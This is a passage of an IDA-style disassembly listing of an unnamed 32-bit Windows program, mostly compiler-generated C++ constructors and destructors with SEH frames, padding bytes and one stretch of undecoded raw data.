[esp+14h+var_4], 0Eh call sub_401AD2 lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_401AD2 lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_401AD2 lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_401AD2 lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_401AD2 lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_401AD2 lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_401AD2 lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_401AD2 lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_401AD2 lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_401AD2 lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_401AD2 lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_401AD2 lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_401AD2 mov byte ptr [esp+14h+var_4], 1 lea ecx, [esi+9Bh] call sub_401AD2 lea ecx, [esi+52h] mov byte ptr [esp+14h+var_4], 0 call sub_401AD2 lea ecx, [esi+9] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AD2 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417020 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417540 proc near ; CODE XREF: sub_4014F1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417540 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0A3h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417540 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4175E0 proc near ; CODE XREF: sub_401E83j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4175E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+118h] mov [esp+14h+var_4], 5 call sub_401023 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4175E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4176B0 proc near ; CODE XREF: sub_401235j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4176B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8D0C0h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+8D036h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+8D008h] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4176B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417770 proc near ; CODE XREF: sub_402216j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417770 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417770 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417830 proc near ; CODE XREF: sub_401EB0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417830 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417830 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4178F0 proc near ; CODE XREF: sub_4018CAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4178F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4178F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417960 proc near ; CODE XREF: sub_4017D0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417960 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417960 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4179D0 proc near ; CODE XREF: sub_401B27j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4179D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4179D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417A40 proc near ; CODE XREF: sub_401F28j add ecx, 4 jmp sub_401023 sub_417A40 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417A60 proc near ; CODE XREF: sub_401113j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417A60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+60h] mov [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417A60 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417AE0 proc near ; CODE XREF: sub_401DEDj add ecx, 4 jmp sub_401023 sub_417AE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B00 proc near ; CODE XREF: sub_401FF5j add ecx, 4 jmp sub_401023 sub_417B00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B20 proc near ; CODE XREF: sub_401EE2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417B20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0BCh] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417B20 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417BC0 proc near ; CODE XREF: sub_40157Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417BC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401424 lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0A3h] mov byte ptr [esp+14h+var_4], 3 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E078 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417BC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417C60 proc near ; CODE XREF: sub_401645j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417C60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401749 lea ecx, [esi+118h] mov byte ptr [esp+14h+var_4], 5 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E07C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417C60 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417D30 proc near ; CODE XREF: sub_401776j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417D30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+8D008h] call sub_401749 lea ecx, [esi+8D036h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+8D0C0h] mov byte ptr [esp+14h+var_4], 3 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E080 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417D30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417DF0 proc near ; CODE XREF: sub_401820j push esi mov esi, ecx call sub_401E6A mov dword ptr [esi], offset off_43E050 mov eax, esi pop esi retn sub_417DF0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417E20 proc near ; CODE XREF: sub_4016B3j push esi mov esi, ecx call sub_401E6A mov dword ptr [esi], offset off_43E05C mov eax, esi pop esi retn sub_417E20 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417E50 proc near ; CODE XREF: sub_401415j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417E50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E084 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417E50 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417F10 proc near ; CODE XREF: sub_401302j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417F10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E088 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417F10 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417FD0 proc near ; CODE XREF: sub_401271j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417FD0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E08C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417FD0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418050 proc near ; CODE XREF: sub_401D11j push esi mov esi, ecx call sub_4011B3 mov dword ptr [esi], offset nullsub_10 mov eax, esi pop esi retn sub_418050 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418080 proc near ; CODE XREF: sub_4012FDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418080 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E094 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418080 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418100 proc near ; CODE XREF: sub_401A7Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418100 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E098 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418100 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418180 proc near ; CODE XREF: sub_401285j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401749 mov dword ptr [esi], offset off_43E09C mov eax, esi pop esi retn sub_418180 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4181B0 proc near ; CODE XREF: sub_401CA3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4181B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0A0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4181B0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418230 proc near ; CODE XREF: sub_401573j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401749 mov dword ptr [esi], offset off_43E0A4 mov eax, esi pop esi retn sub_418230 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418260 proc near ; CODE XREF: sub_40178Fj push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401749 mov dword ptr [esi], offset off_43E0A8 mov eax, esi pop esi retn sub_418260 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418290 proc near ; CODE XREF: sub_401073j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418290 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0AC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418290 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418330 proc near ; CODE XREF: sub_401267j var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch push ebx push ebp mov ebp, dword_50F8D0 push esi mov esi, ecx push edi xor bl, bl mov byte ptr [esi+9FD2Ch], 1 loc_418348: ; CODE XREF: sub_418330+E4j test bl, bl jnz loc_41841E mov al, [esi+8EF74h] test al, al jnz short loc_41835E mov bl, 1 jmp short loc_418372 ; --------------------------------------------------------------------------- loc_41835E: ; CODE XREF: sub_418330+28j lea ecx, [esi+15Fh] call sub_40185C test al, al setz bl test bl, bl jz short loc_418379 loc_418372: ; CODE XREF: sub_418330+2Cj mov byte ptr [esi+9FD2Ch], 0 loc_418379: ; CODE XREF: sub_418330+40j lea ecx, [esp+1Ch+var_C] call sub_402086 lea edi, [esi+9FD83h] lea eax, [esp+1Ch+var_4] push eax mov ecx, edi call sub_401F4B mov ecx, [eax] lea edx, [esp+1Ch+var_8] mov [esp+1Ch+var_C], ecx push edx mov ecx, edi call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_4016F9 test al, al jz short loc_4183FE loc_4183B4: ; CODE XREF: sub_418330+CCj lea ecx, [esp+1Ch+var_C] call sub_402211 mov ecx, [eax] call sub_401744 lea ecx, [esp+1Ch+var_C] call sub_402211 mov eax, [eax] test eax, eax jz short loc_4183DB mov edx, [eax] push 1 mov ecx, eax call dword ptr [edx] loc_4183DB: ; CODE XREF: sub_418330+A1j lea ecx, [esp+1Ch+var_C] call sub_401361 lea eax, [esp+1Ch+var_8] mov ecx, edi push eax call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_4016F9 test al, al jnz short loc_4183B4 loc_4183FE: ; CODE XREF: sub_418330+82j mov ecx, edi call sub_4010B9 push 0FAh call ebp mov al, [esi+9FD2Ch] test al, al jnz loc_418348 test bl, bl jz short loc_41842B loc_41841E: ; CODE XREF: sub_418330+1Aj pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41842B: ; CODE XREF: sub_418330+ECj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 0Ch retn sub_418330 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418490 proc near ; CODE XREF: sub_401767j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_418490 push eax mov large fs:0, esp sub esp, 1A8h push ebx push ebp push esi mov esi, ecx push edi mov ecx, offset byte_4E6EDB mov byte ptr [esi+9FD2Ch], 1 call sub_4010B9 mov eax, [esp+1C4h+arg_4] test eax, eax jz short loc_4184D0 push eax jmp short loc_4184D5 ; --------------------------------------------------------------------------- loc_4184D0: ; CODE XREF: sub_418490+3Bj push offset byte_446F70 loc_4184D5: ; CODE XREF: sub_418490+3Ej lea ecx, [esi+9FD57h] call sub_4015D7 mov edi, [esp+1C4h+arg_0] test edi, edi jz short loc_4184EE push edi jmp short loc_4184F3 ; --------------------------------------------------------------------------- loc_4184EE: ; CODE XREF: sub_418490+59j push offset byte_446F70 loc_4184F3: ; CODE XREF: sub_418490+5Cj lea ecx, [esi+9FD6Ch] call sub_4015D7 push edi lea ecx, [esi+3Eh] call sub_401384 sub_418490 endp ; --------------------------------------------------------------------------- db 8Ah dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h, 0FE945CE8h dd 244C8DFFh, 2685128h, 90000002h, 69E120E8h, 8F88E871h dd 8E8DFFFEh, 1BBEh, 0FE92B1E8h, 468E8DFFh, 0E800001Bh dd 0FFFE94AEh, 15FBE8Dh, 0CF8B0000h, 0FE97DFE8h, 0D01D8BFFh dd 680050F8h, 3E8h, 0CF8BD3FFh, 0FE8CB3E8h, 3E868FFh, 0D3FF0000h dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh dd 0E80009FCh, 0FFFE8E48h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h dd 5300001Ch, 0B2E8CF8Bh, 8BFFFE95h, 8BE7E8CFh, 868AFFFEh dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 5FE8CF8Bh, 8AFFFE91h dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0D5E855CFh dd 84FFFE99h, 530B75C0h, 0E8CF8B55h, 0FFFE8EABh, 0AE8D0EEBh dd 7F7h, 0E855CF8Bh, 0FFFE9346h, 7C7868Ah, 0C0840000h dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE99C7E8h, 74C084FFh dd 90006A08h, 82185DE8h, 98C6E877h, 8E8DFFFEh, 168h, 0FE91B3E8h dd 448D50FFh, 0E8501424h, 0FFFE99E6h, 5008C483h, 0FD2D8E8Dh dd 84C70009h, 1C424h, 0 dd 99B8E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h dd 8BBCE8FFh, 9E8DFFFEh, 8EF5Dh, 5DE8CB8Bh, 8DFFFE8Dh dd 8F2478Eh, 8D52E800h, 8E8DFFFEh, 1D29h, 0FE96F2E8h, 6F8E8DFFh dd 0E800001Eh, 0FFFE9449h, 0F2858E8Dh, 66E80008h, 8DFFFE8Fh dd 9FA138Eh, 9046E800h, 8E8DFFFEh, 8F3A2h, 0FE9B26E8h dd 738E8DFFh, 0E80009FAh, 0FFFE9783h, 3FE8CB8Bh, 8DFFFE93h dd 9FC428Eh, 9889E800h, 0CF8BFFFEh, 0FE896EE8h, 0BF8E8DFFh dd 0E80008F4h, 0FFFE9525h, 0FB058E8Dh, 9DE80009h, 8DFFFE94h dd 9FAD38Eh, 9802E800h, 8E8DFFFEh, 9FB93h, 0FE925CE8h dd 0CD8E8DFFh, 0E80009FBh, 0FFFE9931h, 0FBFF8E8Dh, 0C6E80009h dd 8BFFFE94h, 8B41E8CEh, 8E8DFFFEh, 8F270h, 11E8F88Bh dd 8BFFFE90h, 900AE8CBh, 0D9E8FFFEh, 0E8FFFE93h, 7169BCE4h dd 42468A90h, 0B74C084h, 1528E8Dh, 83E80000h, 8BFFFE95h dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- locret_418840: ; CODE XREF: ___:00402202j retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_418860: ; CODE XREF: ___:00401EC4j mov eax, [esp+0Ch] push 0 push eax mov ecx, offset dword_447158 call sub_401767 ; --------------------------------------------------------------------------- retn 10h ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418890 proc near ; CODE XREF: sub_401B09j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4021BC mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401622 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40142E mov edx, [esi+4] mov ecx, esi push edx call sub_4020E5 sub_418890 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418900 proc near ; CODE XREF: sub_401AFAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40139D sub_418900 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418940 proc near ; CODE XREF: sub_4021DAj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F4B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401550 mov edx, [esi+4] mov 